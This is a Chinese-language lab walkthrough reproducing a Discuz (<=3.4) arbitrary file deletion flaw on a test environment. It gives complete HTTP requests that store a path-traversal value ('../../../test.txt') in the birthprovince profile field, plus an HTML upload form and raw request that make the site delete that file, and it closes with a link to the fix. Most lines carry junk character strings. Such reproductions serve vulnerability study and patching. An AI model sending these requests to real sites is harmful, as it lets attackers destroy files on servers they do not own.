|
|
0 q; _$ |. e+ T7 o5 A- N3 M$ _2 }
前言:9月29日,Discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复,但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。0 A, \$ t( B( x, y5 r
影响版本:Discuz < =3.4 环境# X# o' V, y6 ~4 w$ q
/ }9 n# `( s9 d; I! r8 X复现过程:首先在discuz目录下新建一个test.txt文件,到时候删除用。
$ w: u' P# m/ O0 ?& Q- U, J新建test.txt
9 a; `! j r' y! N访问:http://192.168.220.131/home.php?mod=spacecp,然查审查元素,查看formhash的值,然后复制。
6 s0 O* j& g' H" I+ w% A7 r3 {+ ~8 H7 l, P& p8 t4 _
* d* N: c: B5 J9 W
查看formhash- M$ f$ J& w& j- b6 I
利用burp抓包,获取cookie4 L! l2 I) x! j
8 _# E. m& x* F4 w: G
4 ^# x+ ]6 Z$ _9 W
! E; m7 \+ w& w2 V9 ~* y9 y

' y- u; M4 r2 l7 c0 e; l- `/ |! Z" s! Q& `% W5 `$ ]# u
抓取cookie5 @* E! T$ [' P9 }5 N
# n+ _6 L5 H) e
发送下面数据包:修改cookie,formhash,还有删除的文件
6 a* V; b- W! ]2 M; nPOST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1 A% X! R6 R* R- Q ]9 \8 v u, r
Host: localhost. S' K" o0 L z
Content-Length: 367
4 n" E, a8 j- m( FCache-Control: max-age=0
! I2 H) Z' }6 l- O, P7 t# `Upgrade-Insecure-Requests: 1# O8 L6 J6 t2 i L
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s& N3 u" n. g5 r' }( f! ]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
( n! A! d0 R& ?9 I/ U c) P% Q$ NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
1 w) S% B4 [' V- O* L0 R( T8 Z8 `Accept-Encoding: gzip, deflate
. y4 S6 R5 y) I% h) y4 a) M# AAccept-Language: zh-CN,zh;q=0.8,en;q=0.6
! W% V: W) r* y3 NCookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056 E! |; ~( i" D7 y5 f
Connection: close: V/ u9 t$ [6 u5 G1 F, [: E ]
------WebKitFormBoundaryPFvXyxL45f34L12s- d# C) ]4 Y$ U4 P3 j
Content-Disposition: form-data; name="formhash"
~. I$ H3 M) J) ^84a7f376
- F9 B$ h/ U- J7 l7 l3 t------WebKitFormBoundaryPFvXyxL45f34L12s; P& \, S1 N# I/ I0 a y! ^( t8 n
Content-Disposition: form-data; name="birthprovince"* U8 m6 ^, {7 t# \) [7 z, w" f
../../../test.txt' S0 u0 r7 W; `, p9 n: G
------WebKitFormBoundaryPFvXyxL45f34L12s
, i' i1 P( |! O, R2 u kContent-Disposition: form-data; name="profilesubmit"1 G9 Y) K& J7 j/ M% h
1
# e3 e- f5 f0 j* b* q" c ]------WebKitFormBoundaryPFvXyxL45f34L12s--- j: U+ ^$ ^+ m* E+ g
发送删除的数据包
/ t. v# w9 O5 \) S1 a刷新页面,查看出生地就会显示成下图所示的状态:* \9 W; S" Y, A+ U( K5 s+ {8 w; l5 F
数据成功写入
% y) M" M( K; z+ o! D
N- I; j; I1 A2 b [( c6 e: `: h; f; k* M- e1 \
说明数据已经进入数据库:
( t- e/ ~) O# e& R; J然后,新建一个upload.html,代码如下,将其中的ip改成discuz的域名,[form-hash]改成你的formhash:
Y ?2 g+ d" d8 b% [<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
- E _, |& w/ O& x6 j<input type="file"name="birthprovince" id="file" />
0 q6 Y! L1 ^, ] O/ x- d" ?8 ]<input type="text"name="formhash" value="84a7f376"/></p>! E: q7 D p$ ^6 @/ O/ B; Q8 N4 ^
<input type="text"name="profilesubmit" value="1"/></p>
+ _1 Q1 S+ l8 r4 D l<input type="submit"value="Submit" />
K7 \4 C& m; }</from>/ ]+ P/ A3 E5 W0 G- i
' o& o% r. U3 j: ~2 n4 k" D" v7 y* z% o0 ~8 p: g
( x- i! \) C. V# @# t5 k
: e5 i+ o- |2 i: `" |4 t& x
4 e' a6 l2 g! t" f! `5 E或者直接构建数据包:
# c" _4 o9 l" n& X8 O2 n1 d6 dPOST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1
8 _/ z' a6 V- tHost: 192.168.220.131
8 k% w3 l: s) m% A; T2 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
; S9 j Z" S7 v8 k3 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
, z0 _6 t# x. z+ wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2( l9 Y' k2 O) ]1 w; s6 C
Accept-Encoding: gzip, deflate
4 Q. [6 M* i( [& i/ W0 qContent-Type: multipart/form-data; boundary=---------------------------123821742118716
, W, E) G. P2 ~7 ~& x" V* L: UContent-Length: 91989: o8 P; I' a; D" G
Connection: close) y/ G+ r P: B7 b
Cookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056. \: R, h* f% r# _& @ n
Upgrade-Insecure-Requests: 1
0 V: l% K" V6 u) f. J' G-----------------------------123821742118716- S1 Y9 a! i, \1 M/ T, `
Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"
+ l5 }' }7 |: y8 ^/ P9 fContent-Type: image/jpeg
' l# I6 t' r. [3 a. L. A Azerba(这里写啥都可以); f3 b) W u5 }% {( s* x
-----------------------------123821742118716--: a6 Q* X( Q2 M D, f
- J9 ]) H0 t% I
6 S, S: U( [: n/ X# M* p% O9 M' i; c, }( o/ m1 O/ m& ?
( ~' v, `7 V# P* G- R _' ?
* s& n, m; C. b. Z% }
8 n7 J+ \8 P: p- {9 w# }: T5 u X1 ~9 F' ?+ h) J1 @. o {# v) p3 F$ m
7 K( n$ c5 Q" T* P; B4 N ~+ w. E& a5 c
# {3 e. n: q+ X! H% j2 X
0 C4 n) j d1 C; F进去discuz看看,可以看到,test.txt文件已经被删除了。
v3 c# v" b9 g2 \. ^$ w" V6 ?
, Q0 `) v3 B: a4 }2 G/ y3 A, n3 j5 y) b6 i
9 }$ M( C& K5 a0 j/ y4 f- t1 L1 @4 @3 J1 z
' I$ ] l7 X4 P' _6 I4 W' G7 |
修复建议:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574& r# p7 T0 w7 W+ c5 Q
编辑upload/source/include/spacecp/spacecp_profile.php文件,删除和unlink相关代码。
( k/ Z0 V0 `2 |0 u
" H! K1 S7 V* x) \5 \" c" Y
! O. R( g8 v% N: A: M5 u! }* k& E9 J$ h' I; Z5 \
$ A, A% `5 K; Z+ L7 _3 t3 m
; e4 d! p P: x' W# B7 ?7 H( u& V4 T+ O1 x
: O; }3 x. D- e5 H2 ?8 \5 d# f& c3 P! }! H
- u/ f% s/ C- O" I |
|